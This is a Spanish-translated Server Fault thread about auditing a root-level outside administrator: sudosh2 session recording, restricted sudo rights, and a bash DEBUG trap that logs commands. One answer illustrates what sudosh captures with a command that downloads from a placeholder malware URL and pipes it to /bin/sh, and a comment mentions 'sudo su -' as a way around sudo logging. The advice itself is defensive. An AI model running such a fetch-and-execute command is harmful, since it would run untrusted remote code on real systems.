Pregunta Registrar cada comando ejecutado desde la raíz


Quiero dar acceso a mi servidor raíz a un administrador del sistema externo, pero quiero asegurarme de volver a verificar lo que está haciendo en mi servidor, por ejemplo. copiando datos no quiero que lo hagan y así sucesivamente. También me gustaría hacer un seguimiento de cualquier archivo al que se acceda, incluso en modo de solo lectura y no editado.

¿Cómo puedo hacer eso?


15
2018-04-10 22:24


origen


Vea esta pregunta relacionada: serverfault.com/questions/181131/… ? - Stefan Lasiewski


Respuestas:


¡Confiar pero verificar!

Revisa sudosh2. sudosh2 es proporcionado por los puertos de FreeBSD. Los paquetes están disponibles para RedHat y Ubuntu. Aquí está la descripción de su sitio web:

sudosh es un filtro de shell de auditoría y se puede utilizar como shell de inicio de sesión.   Sudosh graba todas las pulsaciones y salidas y puede reproducir la sesión   igual que una videograbadora.

Sudosh te permitirá volver a reproducir la sesión del usuario, lo que te permitirá ver todas las entradas y Salida como el usuario lo vio. Lo ves todo, pulsaciones de teclado, errores tipográficos, espacios en blanco, qué editaron en vi, la salida de wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/sh, etc.

Es posible enviar registros de sudosh a syslog, para que puedan almacenarse en un servidor central de syslog fuera del sistema.

Tenga en cuenta que sudosh2 es un reemplazo de sudosh, que fue abandonado por su autor

¿Trabaja en una institución académica donde los usuarios insisten en tener privilegios de superusuario? ¿O trabaja en una corporación y desea permitir que los usuarios tengan privilegios de superusuario en sus propias máquinas virtuales? Esta podría ser la solución para usted.


20
2018-04-10 22:44



Excelente - anteriormente no había oído hablar de sudosh. - EEAA
¿Qué es este 'VCR' del que hablas? - Tom Marthenal
Es como una pista de 8, ¡pero puedes grabar tus propios programas de televisión! - Stefan Lasiewski


No le des acceso root. En vez de eso, dale una cuenta de usuario sin privilegios y solicita que haga todo su trabajo a través de sudo, que registrará todos sus comandos.

Tenga en cuenta que si esta persona tiene malas intenciones y usted le otorga privilegios completos de sudo, será encuentre una manera de llevar a cabo esas malas intenciones sin que se registren esos comandos. En este caso, solo concédale acceso a los comandos específicos que necesita para hacer su trabajo.


21
2018-04-10 22:26



Quiero hacerlo lo más difícil posible sin hacer que mi vida sea un dolor. Gracias por la respuesta. - cedivad
Solo puedes correr sudo su - y tiene un shell raíz que no se registrará (excepto que usted lo inició). Esto es lo que normalmente escribo cuando quiero hacer más de un solo comando como root de una sola vez, o si quiero completar la pestaña en los directorios que los usuarios normales no pueden leer. - rjmunro
@rjmunro - Es exactamente por eso que emití la advertencia de solo darle el acceso específico que necesita. Usted puede prohibir explícitamente sudo su - Si es deseado. - EEAA


No estoy familiarizado con sudosh2, pero puse lo siguiente en mi .bashrc para registrar todos los comandos que escribo en una bash shell al archivo ~/.command_log:

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

Lo anterior pone una trampa en DEBUG, que se ejecuta justo antes de que se ejecute un comando ordinario. los caller incorporado se usa para probar si el comando se escribe en un shell interactivo o se ejecuta a través de algo como .bashrc. El valor ${BASH_COMMAND} Contiene el comando actualmente en ejecución.


0
2018-04-17 19:04